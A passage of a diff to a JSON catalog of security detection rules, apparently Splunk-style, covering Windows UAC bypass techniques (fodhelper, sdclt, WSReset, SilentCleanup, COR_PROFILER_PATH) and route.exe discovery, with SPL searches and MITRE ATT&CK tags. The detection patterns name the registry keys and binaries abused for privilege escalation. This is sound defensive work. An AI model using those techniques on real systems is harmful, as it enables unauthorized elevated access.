"T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "FodHelper UAC Bypass", - "description": "The following analytic detects the execution of fodhelper.exe, which is known to exploit a User Account Control (UAC) bypass by leveraging specific registry keys. The detection method uses Endpoint Detection and Response (EDR) telemetry to identify when fodhelper.exe spawns a child process and accesses the registry keys. This activity is significant because it indicates a potential privilege escalation attempt by an attacker. If confirmed malicious, the attacker could execute commands with elevated privileges, leading to unauthorized system changes and potential full system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=fodhelper.exe by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `fodhelper_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious registy keys added by process fodhelper.exe with a parent_process of $parent_process_name$ that has been executed on $dest$ by $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "NET Profiler UAC bypass", - "description": "The following analytic detects modifications to the registry aimed at bypassing the User Account Control (UAC) feature in Windows. It identifies changes to the .NET COR_PROFILER_PATH registry key, which can be exploited to load a malicious DLL via mmc.exe. This detection leverages data from the Endpoint.Registry datamodel, focusing on specific registry paths and values. Monitoring this activity is crucial as it can indicate an attempt to escalate privileges or persist within the environment. If confirmed malicious, this could allow an attacker to execute arbitrary code with elevated privileges, compromising system integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Environment\\\\COR_PROFILER_PATH\" Registry.registry_value_data = \"*.dll\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_data Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `net_profiler_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_path$ and key $registry_key_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Sdclt UAC Bypass", - "description": "The following analytic detects suspicious modifications to the sdclt.exe registry, a technique often used to bypass User Account Control (UAC). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific registry paths and values associated with sdclt.exe. This activity is significant because UAC bypasses can allow attackers to execute payloads with elevated privileges without user consent. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, and potential persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE ((Registry.registry_path= \"*\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe*\" OR Registry.registry_path= \"*\\\\exefile\\\\shell\\\\runas\\\\command\\\\*\") (Registry.registry_value_name = \"(Default)\" OR Registry.registry_value_name = \"IsolatedCommand\")) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sdclt_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_value_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "SilentCleanup UAC Bypass", - "description": "The following analytic detects suspicious modifications to the registry that may indicate a UAC (User Account Control) bypass attempt via the SilentCleanup task. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on registry changes in the path \"*\\\\Environment\\\\windir\" with executable values. This activity is significant as it can allow an attacker to gain high-privilege execution without user consent, bypassing UAC protections. If confirmed malicious, this could lead to unauthorized administrative access, enabling further system compromise and persistence.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\Environment\\\\windir\" Registry.registry_value_data = \"*.exe*\") BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `silentcleanup_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_value_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "SLUI RunAs Elevated", - "description": "The following analytic detects the execution of the Microsoft Software Licensing User Interface Tool (`slui.exe`) with elevated privileges using the `-verb runas` function. This activity is identified through logs from Endpoint Detection and Response (EDR) agents, focusing on specific registry keys and command-line parameters. This behavior is significant as it indicates a potential privilege escalation attempt, which could allow an attacker to gain elevated access and execute malicious actions with higher privileges. If confirmed malicious, this could lead to unauthorized system changes, data exfiltration, or further compromise of the affected endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=slui.exe (Processes.process=*-verb* Processes.process=*runas*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `slui_runas_elevated_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A slui process $process_name$ with elevated commandline $process$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "SLUI Spawning a Process", - "description": "The following analytic detects the Microsoft Software Licensing User Interface Tool (`slui.exe`) spawning a child process. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where `slui.exe` is the parent process. This activity is significant because `slui.exe` should not typically spawn child processes, and doing so may indicate a UAC bypass attempt, leading to elevated privileges. If confirmed malicious, an attacker could leverage this to execute code with elevated privileges, potentially compromising the system's security and gaining unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=slui.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `slui_spawning_a_process_filter`", - "tags": { - "analytic_story": [ - "DarkSide Ransomware", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A slui process $parent_process_name$ spawning child process $process_name$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "UAC Bypass MMC Load Unsigned Dll", - "description": "The following analytic detects the loading of an unsigned DLL by the MMC.exe application, which is indicative of a potential UAC bypass or privilege escalation attempt. It leverages Sysmon EventCode 7 to identify instances where MMC.exe loads a non-Microsoft, unsigned DLL. This activity is significant because attackers often use this technique to modify CLSID registry entries, causing MMC.exe to load malicious DLLs, thereby bypassing User Account Control (UAC) and gaining elevated privileges. If confirmed malicious, this could allow an attacker to execute arbitrary code with higher privileges, leading to further system compromise and persistence.", - "search": "`sysmon` EventCode=7 ImageLoaded = \"*.dll\" Image = \"*\\\\mmc.exe\" Signed=false Company != \"Microsoft Corporation\" | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded Signed ProcessId OriginalFileName dest EventCode Company | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `uac_bypass_mmc_load_unsigned_dll_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious unsigned $ImageLoaded$ loaded by $Image$ on endpoint $dest$ with EventCode $EventCode$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Bypass UAC via Pkgmgr Tool", - "description": "The following analytic detects the execution of the deprecated 'pkgmgr.exe' process with an XML input file, which is unusual and potentially suspicious. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process execution details and command-line arguments. The significance lies in the deprecated status of 'pkgmgr.exe' and the use of XML files, which could indicate an attempt to bypass User Account Control (UAC). If confirmed malicious, this activity could allow an attacker to execute commands with elevated privileges, leading to potential system compromise and unauthorized changes.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = pkgmgr.exe Processes.process = \"*.xml*\" NOT(Processes.parent_process_path IN(\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\syswow64\\\\*\", \"*:\\\\Program Files*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process_path Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_bypass_uac_via_pkgmgr_tool_filter`", - "tags": { - "analytic_story": [ - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A pkgmgr.exe executed with package manager xml input file on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "Windows UAC Bypass Suspicious Child Process", - "description": "The following analytic detects when an executable known for User Account Control (UAC) bypass exploitation spawns a child process in a user-controlled location or a command shell executable (e.g., cmd.exe, powershell.exe). This detection leverages Sysmon Event ID 1 data, focusing on high or system integrity level processes with specific parent-child process relationships. This activity is significant as it may indicate an attacker has successfully used a UAC bypass exploit to escalate privileges. If confirmed malicious, this could allow the attacker to execute arbitrary commands with elevated privileges, potentially compromising the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"high\",\"system\") AND Processes.parent_process_name IN (`uacbypass_process_name`) AND (Processes.process_name IN (\"cmd.exe\",\"powershell.exe\",\"pwsh.exe\",\"wscript\",\"cscript.exe\",\"bash.exe\",\"werfault.exe\") OR Processes.process IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\ProgramData\\\\*\",\"*\\\\Temp\\\\*\")) by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | where parent_process_name != process_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_uac_bypass_suspicious_child_process_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User Name", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A UAC bypass parent process- $parent_process_name$ on host- $dest$ launched a suspicious child process - $process_name$.", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "Windows UAC Bypass Suspicious Escalation Behavior", - "description": "The following analytic detects when a process spawns an executable known for User Account Control (UAC) bypass exploitation and subsequently monitors for any child processes with a higher integrity level than the original process. This detection leverages Sysmon Event ID 1 data, focusing on process integrity levels and known UAC bypass executables. This activity is significant as it may indicate an attacker has successfully used a UAC bypass exploit to escalate privileges. If confirmed malicious, the attacker could gain elevated privileges, potentially leading to further system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\") by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.process_guid, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval original_integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename process_guid as join_guid_1, process* as parent_process* | join max=0 dest join_guid_1 [| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"high\",\"system\") AND Processes.process_name IN (`uacbypass_process_name`) by Processes.dest, Processes.parent_process_guid, Processes.process_name, Processes.process_guid | `drop_dm_object_name(Processes)` | rename parent_process_guid as join_guid_1, process_guid as join_guid_2, process_name as uac_process_name ] | join max=0 dest join_guid_2 [| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (`uacbypass_process_name`) AND Processes.process_integrity_level IN (\"high\",\"system\") by Processes.dest, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_guid, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | rename parent_process_guid as join_guid_2 | eval elevated_integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0)] | where elevated_integrity_level > original_integrity_level | table dest user parent_process parent_process_name parent_process_integrity_level process_integrity_level process process_name uac_process_name count firstTime lastTime | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_uac_bypass_suspicious_escalation_behavior_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User Name", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A UAC bypass behavior was detected by parent process name- $parent_process_name$ on host $dest$ by $user$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "WSReset UAC Bypass", - "description": "The following analytic detects a suspicious modification of the registry aimed at bypassing User Account Control (UAC) by leveraging WSReset.exe. It identifies the creation or modification of specific registry values under the path \"*\\\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\Shell\\\\open\\\\command*\". This detection uses data from Endpoint Detection and Response (EDR) agents, focusing on process and registry events. This activity is significant because UAC bypass techniques can allow attackers to execute high-privilege actions without user consent. If confirmed malicious, this could lead to unauthorized code execution and potential system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path= \"*\\\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\Shell\\\\open\\\\command*\" AND (Registry.registry_value_name = \"(Default)\" OR Registry.registry_value_name = \"DelegateExecute\") by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wsreset_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_value_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -145245,107 +124190,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Network Discovery Using Route Windows App", - "description": "The following analytic detects the execution of the `route.exe` Windows application, commonly used for network discovery. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events. This activity is significant because adversaries often use `route.exe` to map network routes and identify potential targets within a network. If confirmed malicious, this behavior could allow attackers to gain insights into network topology, facilitating lateral movement and further exploitation. Note that false positives may occur due to legitimate administrative tasks or automated scripts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_route` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `network_discovery_using_route_windows_app_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA22-277A", - "Prestige Ransomware", - "Qakbot", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Network Connection discovery on $dest$ by $user$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1016.001", - "mitre_attack_technique": "Internet Connection Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT29", - "FIN13", - "FIN8", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Magic Hound", - "TA2541", - 